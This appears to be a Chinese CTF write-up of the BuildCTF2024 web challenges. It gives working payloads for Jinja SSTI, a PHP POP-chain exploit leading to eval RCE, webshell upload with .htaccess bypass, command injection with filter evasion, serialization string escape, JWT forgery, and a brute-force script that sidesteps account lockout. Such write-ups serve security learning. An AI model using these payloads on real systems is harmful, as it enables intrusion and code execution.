BuildCTF2024 WEB
find-the-id

爆破

出题人让我们去爆破数字

上bp开爆

ez!http

访问题目进行查看

查看数据包

发现传参给了一个user=admin,这里将admin修改为root即可

从什么来,考察Referer头
Referer: blog.buildctf.vip

浏览器,考察UA头
User-Agent: buildctf

只有来自内网的用户才可以访问,猜测是XFF头

修改Date头

这里是发起请求的邮箱所以考察的是From头

只接受代理,考察Via头部

考察浏览器语言头部Accept-Language

这里我点击获取Flag没有反应

查看源码发现只需要POST传入getFlag=This_is_flag即可

RedFlag
源码如下
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.getenv('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/redflag/<path:redflag>')
def redflag(redflag):
def safe_jinja(payload):
payload = payload.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+payload
return flask.render_template_string(safe_jinja(redflag))
考察的SSTI,源码中过滤了config和self

这里用的全局对象的config就可以绕过检测
{{url_for.__globals__[‘current_app’].config[‘FLAG’]}}
我的理解是:调用了全局对象的config中的FLAG,而代码只是检测当前对象的config变量,所以不会被过滤

LovePopChain

考察pop链
源码如下
<?php
class MyObject{
public $NoLove="Do_You_Want_Fl4g?";
public $Forgzy;
public function __wakeup()
{
if($this->NoLove == "Do_You_Want_Fl4g?"){
echo 'Love but not getting it!!';
}
}
public function __invoke()
{
$this->Forgzy = clone new GaoZhouYue();
}
}
class GaoZhouYue{
public $Yuer;
public $LastOne;
public function __clone()
{
echo '最后一次了, 爱而不得, 未必就是遗憾~~';
eval($_POST['y3y4']);
}
}
class hybcx{
public $JiuYue;
public $Si;
public function __call($fun1,$arg){
$this->Si->JiuYue=$arg[0];
}
public function __toString(){
$ai = $this->Si;
echo 'I W1ll remember you';
return $ai();
}
}
if(isset($_GET['No_Need.For.Love'])){
@unserialize($_GET['No_Need.For.Love']);
}else{
highlight_file(__FILE__);
}
链子思路如下
MyObject::__wakeup()->hybcx::__toString()->MyObject::__invoke()->GaoZhouYue::__clone()->eval($_POST['y3y4']);
exp如下
<?php
class MyObject{
public $NoLove="Do_You_Want_Fl4g?";
public $Forgzy;
}
class GaoZhouYue
{
public $Yuer;
public $LastOne;
}
class hybcx{
public $JiuYue;
public $Si ;
}
$a = new MyObject();
$b = new hybcx();
$a->NoLove = $b;
$b->Si = $a;
echo serialize($a);
用POST传参进行rce即可

babyupload


访问网址,然后看了一下没什么信息,直接开始目录扫描

可以扫出来一个upload.php文件

随便传了一个后门图片

被过滤了,修改mime为image/jpeg加上头部GIF89a后成功上传,添加后门代码试试

被丁真鉴定了,坏,继续测,猜测是过滤php
尝试使用短标签来绕过
成功上传,但是不解析,猜测需要上传.user.ini或者是.htaccess
经过测试发现能够成功上传.htaccess


猜测flag在env环境变量中

成功上传

ez_md5

题目一
$sql = "SELECT flag FROM flags WHERE password = '".md5($password,true)."'";
这里考察使用ffifdyop来绕过md5($password,true)
题目二
<?php
error_reporting(0);
///robots
highlight_file(__FILE__);
include("flag.php");
$Build=$_GET['a'];
$CTF=$_GET['b'];
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('不可以哦!');
}
}
if($Build != $CTF && md5($Build) == md5($CTF))
{
if(md5($_POST['Build_CTF.com']) == "3e41f780146b6c246cd49dd296a3da28")
{
echo $flag;
}else die("再想想");
}else die("不是吧这么简单的md5都过不去?");
?>
考点
1、md5数组绕过
2、在php中参数_的替换 Build_CTF.com
3、md5的爆破 md5(114514xxxxxxx) == 3e41f780146b6c246cd49dd296a3da28
在robots.txt中可以看的提示md5(114514xxxxxxx)
写脚本爆破可以得到1145146803531
爆破脚本如下
import hashlib
def md5_hash(s):
return hashlib.md5(s.encode()).hexdigest()
target_md5 = '3e41f780146b6c246cd49dd296a3da28'
prefix = '114514'
for i in range(10000000): # 可调整范围
guess = f"{prefix}{str(i).zfill(7)}" # 生成114514后接7位数
if md5_hash(guess) == target_md5:
print(f"找到匹配: {guess}")
break
else:
print("未找到匹配")
GET: a[]=1&b[]=2
POST: Build[CTF.com=1145146803531
我写的网站被rce了?


给的是一个系统,经过测试可以发现在查看日志处存在漏洞
在日志处用的是传入access,而不是传入access.log
猜测后端是进行拼接的

过滤了数字,传入字母看看

这里爆出了路径,拼接字符可以发现输入的字符被拼接在了access和.log之间,那么猜测可以使用%0a进行换行来绕过拼接。
执行一个id看看

后续还有过滤cat,空格,*号之类的,正常绕过即可
payload如下(不只这一种)
log_type=access%0aca\t$IFS/?lag%0a
Why_so_serials?

源码如下:
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class Gotham{
public $Bruce;
public $Wayne;
public $crime=false;
public function __construct($Bruce,$Wayne){
$this->Bruce = $Bruce;
$this->Wayne = $Wayne;
}
}
if(isset($_GET['Bruce']) && isset($_GET['Wayne'])){
$Bruce = $_GET['Bruce'];
$Wayne = $_GET['Wayne'];
$city = new Gotham($Bruce,$Wayne);
if(preg_match("/joker/", $Wayne)){
$serial_city = str_replace('joker', 'batman', serialize($city));
$boom = unserialize($serial_city);
if($boom->crime){
echo $flag;
}
}else{
echo "no crime";
}
}else{
echo "HAHAHAHA batman can't catch me!";
}
这里考察的是字符串逃逸增多类型,通过joker替换为batman,每次会多出一位
我们可以构造payload使crime=fasle改为true,从而通过if($boom->crime)的判断来输出flag
payload如下
Bruce=1&Wayne=jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:“crime”;b:1;}
tflock

访问robots.txt,可以得到出题人给出的账号密码

所以只需要爆破即可,但是这里会进行账号锁定,在网上看的一个文章,当你登录一个账号失败3次之前进行一次别的账号的成功登录,那么就会重置这个登录账号登录失败的次数
这里写个脚本进行爆破
import request
import requests
url="http://27.25.151.80:36905/login.php"
def ctfer_login():
ctf_payload = {"username": "ctfer", "password": 123456}
res = requests.post(url, data=ctf_payload)
print(res.text)
lines=[]
with open('1.txt','r') as file:
for line in file:
lines.append(line)
lines_end = [pwd.strip() for pwd in lines]
print(lines_end)
with open('1.txt', 'r') as file:
for line in file:
line = line.strip()
print(line)
admin_payload = {"username": "admin", "password": line}
print(admin_payload)
res = requests.post(url, data=admin_payload)
print(res.text)
ctfer_login()
if '"success":true' in res.text:
print(line)
break
得到账号密码登录即可
eazyl0gin

关键代码如下

考点
javascript大小写特性
这里推荐看P神的文章
https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
由于题目需要登录的是BUILDCTF,这里可以利用toUpperCase函数特性"ı".toUpperCase() == ‘I’,构造BUıLDCTF来进行登录,密码md5值可以拿到cmd5中进行穷举

然后使用BUıLDCTF和012346来尝试登录

如果是在BP中需要传入
username=BU%C4%B1LDCTF&password=012346
刮刮乐

进来就刮,爽就完事了

然后提示我们了cmd参数

需要是来自baidu.com的,加上Referer头

然后就不提示了,接下来使用cmd来传入参数,猜测是命令执行,但是经过测试,任何命令都不回显,>1.txt却能够写入文件,只不过文件是空的,于是可以猜测后端代码为system($c." >/dev/null 2>&1");那么我们就可以尝试一下%0a || ; 来进行截断绕过

成功回显
sub

源码如下
import datetime
import jwt
import os
import subprocess
from flask import Flask, jsonify, render_template, request, abort, redirect, url_for, flash, make_response
from werkzeug.security import generate_password_hash, check_password_hash
app = Flask(__name__)
app.secret_key = 'BuildCTF'
app.config['JWT_SECRET_KEY'] = 'BuildCTF'
DOCUMENT_DIR = os.path.abspath('src/docs')
users = {}
messages = []
@app.route('/message', methods=['GET', 'POST'])
def message():
if request.method == 'POST':
name = request.form.get('name')
content = request.form.get('content')
messages.append({'name': name, 'content': content})
flash('Message posted')
return redirect(url_for('message'))
return render_template('message.html', messages=messages)
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users:
flash('Username already exists')
return redirect(url_for('register'))
users[username] = {'password': generate_password_hash(password), 'role': 'user'}
flash('User registered successfully')
return redirect(url_for('login'))
return render_template('register.html')
@app.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users and check_password_hash(users[username]['password'], password):
access_token = jwt.encode({
'sub': username,
'role': users[username]['role'],
'exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=30)
}, app.config['JWT_SECRET_KEY'], algorithm='HS256')
response = make_response(render_template('page.html'))
response.set_cookie('jwt', access_token, httponly=True, secure=True, samesite='Lax',path='/')
# response.set_cookie('jwt', access_token, httponly=True, secure=False, samesite='None',path='/')
return response
else:
return jsonify({"msg": "Invalid username or password"}), 401
return render_template('login.html')
@app.route('/logout')
def logout():
resp = make_response(redirect(url_for('index')))
resp.set_cookie('jwt', '', expires=0)
flash('You have been logged out')
return resp
@app.route('/')
def index():
return render_template('index.html')
@app.route('/page')
def page():
jwt_token = request.cookies.get('jwt')
if jwt_token:
try:
payload = jwt.decode(jwt_token, app.config['JWT_SECRET_KEY'], algorithms=['HS256'])
current_user = payload['sub']
role = payload['role']
except jwt.ExpiredSignatureError:
return jsonify({"msg": "Token has expired"}), 401
except jwt.InvalidTokenError:
return jsonify({"msg": "Invalid token"}), 401
except Exception as e:
return jsonify({"msg": "Invalid or expired token"}), 401
if role != 'admin' or current_user not in users:
return abort(403, 'Access denied')
file = request.args.get('file', '')
file_path = os.path.join(DOCUMENT_DIR, file)
file_path = os.path.normpath(file_path)
if not file_path.startswith(DOCUMENT_DIR):
return abort(400, 'Invalid file name')
try:
content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)
except subprocess.CalledProcessError as e:
content = str(e)
except Exception as e:
content = str(e)
return render_template('page.html', content=content)
else:
return abort(403, 'Access denied')
@app.route('/categories')
def categories():
return render_template('categories.html', categories=['Web', 'Pwn', 'Misc', 'Re', 'Crypto'])
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5050)
访问靶场

这里注册一个号然后进行登录,看看数据包

在返回包中可以看到jwt的值,然后源码给了我们JWT的值,可以得到JWT的secret=BuildCTF,那么我们就可以对jwt的值进行伪造,将sub和role改为admin

访问page?file=test1.txt,这次成功进行读取了,说明成功伪造了admin的jwt

输入一点别的看看

这里可以发现报错返回了Command ‘cat /var/www/html/src/docs/xxx’,这里的xxx是我们输入的文件名,那么就可以猜测后端代码为system(‘cat /var/www/html/src/docs/xxx’),所以我们可以利用逻辑拼接来绕过; || | %0a这些来绕过

然后能够发现无法直接使用ls /进行查看根目录的信息,这里提供两个方法
1、;cd …;cd …;cd …;cd …;ls
2、ls />2.txt cat 2.txt
然后读取flag直接cat /flag即可
ez_waf


这里不限制上传的后缀,但是限制内容
采用大量脏数据来绕过waf


上传的路径为/uploads/文件名

然后执行命令即可




91

被折叠的 条评论
为什么被折叠?



